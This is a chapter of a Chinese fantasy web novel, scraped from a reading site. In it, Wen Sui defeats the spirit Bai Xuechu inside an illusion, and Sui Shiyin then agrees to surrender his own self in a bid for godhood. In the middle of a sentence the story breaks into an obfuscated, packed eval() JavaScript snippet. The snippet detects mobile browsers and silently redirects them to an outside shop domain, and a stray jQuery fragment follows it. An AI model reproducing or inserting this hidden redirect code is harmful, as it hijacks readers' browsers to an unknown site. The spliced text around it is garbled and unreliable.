文趣网 > 其他小说 > 今天也有撩到小猫吗 > 13. 成神
    温碎反握着小木剑,抬起手臂,剑尖朝下,血顺着指缝像新生的藤蔓,疯狂生长,把整个小木剑裹住。

    瞬时,剑身上燃起一层黑红色的火焰,火光描摹了温碎半个身形,白雪初这才发现,柳姜圆好像有点不一样了。

    “柳姨娘什么时候去修道了,倒是比我阿弟练得像模像样。”白雪初娇嗔道。

    温碎也有几分诧异,他原以为这身体是柳姜圆的,他便不能用血发动凤凰神火,谁曾想居然成功了。

    白雪初还以为这是什么假把式,直到与温碎对了一手,手掌被烧的黢黑的,才惊觉这不是普通的火。

    小木剑的焰光弱了些,似有灭掉的趋势,这木剑本就不是什么法宝,能称个半刻钟便已是极限,因此只能速战速决。

    两人又打了几个回合,白雪初倒在地上魂魄开始透明,她不甘地瞪着眼前这个女人。

    小木剑上的火也已经彻底熄灭,木剑也在温碎的手里碎裂成渣。

    “为什么杀他们?”即便是疑问句,从温碎的嘴里吐出来也带着冰渣子。

    这冰渣子到了白雪初的耳朵里便成了不屑,成了挑衅,每一个字都直戳心窝。

    白雪初对此忍俊不禁,她撇过头笑了笑,再次看向温碎,那双眸子带上了前所未有的坚定,冷语:“他们该死,他,们,该,死!”

    似是怕温碎听不清,白雪初还一字顿一字的拔高声音,到最后像是被割破了嗓子,几近嘶吼出声。

    “人生前的是非功过,死后自有地府判官评判,而你此举足以令你魂飞魄散。你为报这一时之仇,葬送自己今后的生生世世。”温碎顿了顿,俯身询问,“你背后之人,没告诉你吗?”

    白雪初闭上眼冷哼一声,眼角的泪顺着脸颊滑下一道透明的线,“没有什么背后之人,你说的这些我也都知道。”

    “你可知,白雪瑞被抽走的那一缕魂魄,会令他死后再入不了地府。”

    “我……”

    *

    “有个法子倒是能令你不被地府发现,留在人间。”

    “望赐教。”白雪初跪在地上,低下头,恳切地哀求眼前“人”。

    那“人”温柔地笑声传来,目光最后落在了白雪初身后的少年脸上。

    少年与祂对视,心底却暗自生出一阵怯来。

    “吾取你阿弟一缕魂,你便可寄生在他魂魄的缺处。”见白雪初犹豫不言,祂失望叹气,“此法的确凶险,会令你阿弟入不了地府。”

    白雪初听到这儿,已然想要拒绝,还未等她开口,那“人”又说,“有一法子能解此局,便看你姐弟二人愿不愿赌了。”

    “此法,便是……不过,切记不要被发现了。”

    白雪初想到这儿,提起自己浑身最后一丝力气,一手掏进温碎的腹部。

    柳姜圆不能活着,这个女人发现了她们的秘密,必须死,要不然雪瑞会……

    温碎吐出一口血来,面如止水,他只是看着白雪初,一言不发,也并不在乎这具身体的死活,这只是个幻境,所有东西都是假的,但情报是真的。

    “柳姜圆要死了,你可以告诉我了吗?”

    “你……”白雪初怔怔地看着对方,“你原来不是柳姜圆。”

    岁时吟惊惧地从地上爬起,跌跌撞撞朝温碎走去,没走几步便摔了跟头。

    白雪初的魂魄终于支撑不住魂飞魄散,而温碎虽然感觉腹部剧痛,但是不觉得有什么问题。

    忽而温碎想起,自己进幻境是为了把岁时吟带出去,他深深看了岁时吟一眼,倒觉得有几分可惜。

    可这幻境已然被他搅乱的一团糟,岁时吟能出去也只是时间问题罢了。

    岁时吟一点一点朝温碎爬去,想握温碎的手,见到自己左手上的血窟窿,又缩了回去,换了另一只已经在衣服上擦干净的手。

    两只手紧握着,自此一切都尘埃落定。

    *

    温碎失去了身体,但他并没有马上回到现实去,他独自走在四周黑漆漆不见人影的地方,可他却能听到水滴声。

    这声音是从外面传来的,那这里又是哪里?

    还未等他思索片刻,他感觉到有什么东西在碰自己的脸,温碎抬手去抓,却发现什么都没有。

    这太奇怪了……

    “小姨娘,你要等我,就快了……”

    温碎听出这声音是岁时吟的,可惜和那水滴声一样,都是外面传来的。

    手指尖再度传来痒意,有东西在往他的指缝里攥,他听到了布料的摩擦声,以及呼吸声。

    那温热的呼吸喷洒在温碎的耳畔,他的半边身子好像被什么裹着,他感受得到滚烫的温度。

    “岁时吟。”温碎呼唤,但无人回应,身体的怪异感还在增加,他的左脸被柔弱的东西碰了一下,一触即分。

    “我亲亲你,你应该,不介意吧。”

    温碎:???

    他终于明白这怪异从何而来,原来他根本就没有离开柳姜圆的身体,岁时吟应该是不知用了什么法子,将他封在了柳姜圆的身体里。

    而他现在就跟植物人差不多,他控制不了柳姜圆的身体,但是能感受到身体上的触感,以及听到外界的声音。

    岁时吟躺在棺材里,抱着温碎,嘴唇轻轻摩擦在温碎的眼角,两只手暧昧地交合在一起,倒真有几分爱侣的影子。

    温碎的衣服也被换掉了,岁时吟不知从哪儿找来的,料子柔软顺滑,不过是男装。

    乌发变成了辫子躺在温碎的右肩上,发尾还绑着白色缎带。

    “等我成神,我们就能长相厮守,不管以后如何,至少现在你在我怀里,是我的。”

    温碎很快捕捉到了岁时吟话语里的关键字眼:成神。

    这下,一切都解释的通了,白雪初说她都知道,却还要一意孤行,目的竟是奔着成神去的。

    只要成神,白雪瑞被抽了一缕魂,即便入不了地府,白雪初还是有本事让白雪瑞一直活下去的。

    可成神却并不是那么容易的,神之所以为神,是因为他们有神格,白雪初没有神格……

    不对,小七曾说,梅神每隔一段时间便入人间轮回一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714765|208502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    次,而梅神最后一次下凡丢了半个神格,那个野神最后被玉华仙人封印。

    这个野神大概率就是白雪初。

    现在幻境里的白雪初死了,白雪瑞为了复活柳姜圆,也要走上跟白雪初相同的路。

    那大概结局也一样,被晚来的玉华仙人封印。

    岁时吟迷迷糊糊睡着了,在梦里,依旧是这个宅子,但不同的是,这个宅子比他住的那个要干净多了。

    他听到了远处悠扬的琴声,便去找那琴声的来源,听说柳姨娘曾是江花畔的花魁,诗词歌赋、琴棋书画样样精通,不过江花畔也并不算是青楼,那里的人都是卖艺不卖身。

    弹琴的人会是柳姨娘吗?

    岁时吟不确定,等他过了拐角的连廊,终于在一座小亭子里见到琴声的主人。

    那人一旁候着一位老妇,正是之前放猫放兔子的活阎王大娘。

    大娘怀里抱着白色披风,一脸忧愁地望着眼前的男人,却不敢出声。

    直到一曲毕,大娘才将披风给那男人披上,“少爷,天凉,您身子骨弱,披上吧。”

    男人点点头,系好披风,才抬眼去看岁时吟,他微微笑,跟一旁的大娘道:“您年纪大,先回去吧,这边来了贵客。”

    大娘也抬头看了一眼岁时吟,对着男人躬身退下。

    岁时吟见状,进了亭子,他心里顿时也有了数,这个人或许才是真正的白雪瑞。

    “阿姊给你们添麻烦了。”白雪瑞端起事先煎好的热茶倒给岁时吟,“她其实并不坏。”

    岁时吟觉得这话有意思,挑眉问:“何出此言?”

    “阿姊所受折辱、苦楚,非常人所能忍。”白雪瑞垂眸,看着茶盏里清亮的茶汤,“是我当初没能救她,若我……”

    “白少爷,我来此是为了柳姜圆,而不是为了听你这些废话。”岁时吟出声打断,“你说的这些,在记忆里我都见过。我不是你,也不想受制于你阿姊,我只问你,成神真的能救柳姜圆吗?”

    “你和她不过才相处一日。”

    “可我知道,他不是真的柳姜圆,他和我一样是外来者,我能看出来。她为了救我,不惜舍命。”

    透过岁时吟的那双眼睛,白雪瑞读出了一种近乎偏执的味道,他无奈地笑了笑,“成神能救柳姜圆,可你,成不了神。你并非梅神的有缘人,你遇不到梅神。”

    “此话何解?”

    “你不是我,你不认可我,或者说,在你没有完完全全成为我之前,你便不是梅神的有缘人。”

    “换而言之,只要我自愿成为白雪瑞,我便能遇见梅神。我要舍弃我自己。”

    白雪瑞看着岁时吟,不再说话。

    “我若舍弃自我,我会如何?我还能救柳姜圆吗?”

    “你舍弃了自我,你会成为我,而我会替你去救柳姜圆,你,愿意吗?”

    “也就是说,我会死。”

    “是这个意思。”

    又是一场雪,零零散散飘进人间,原是瑞雪兆丰年。

    他没犹豫,淡淡开口:“我愿意。”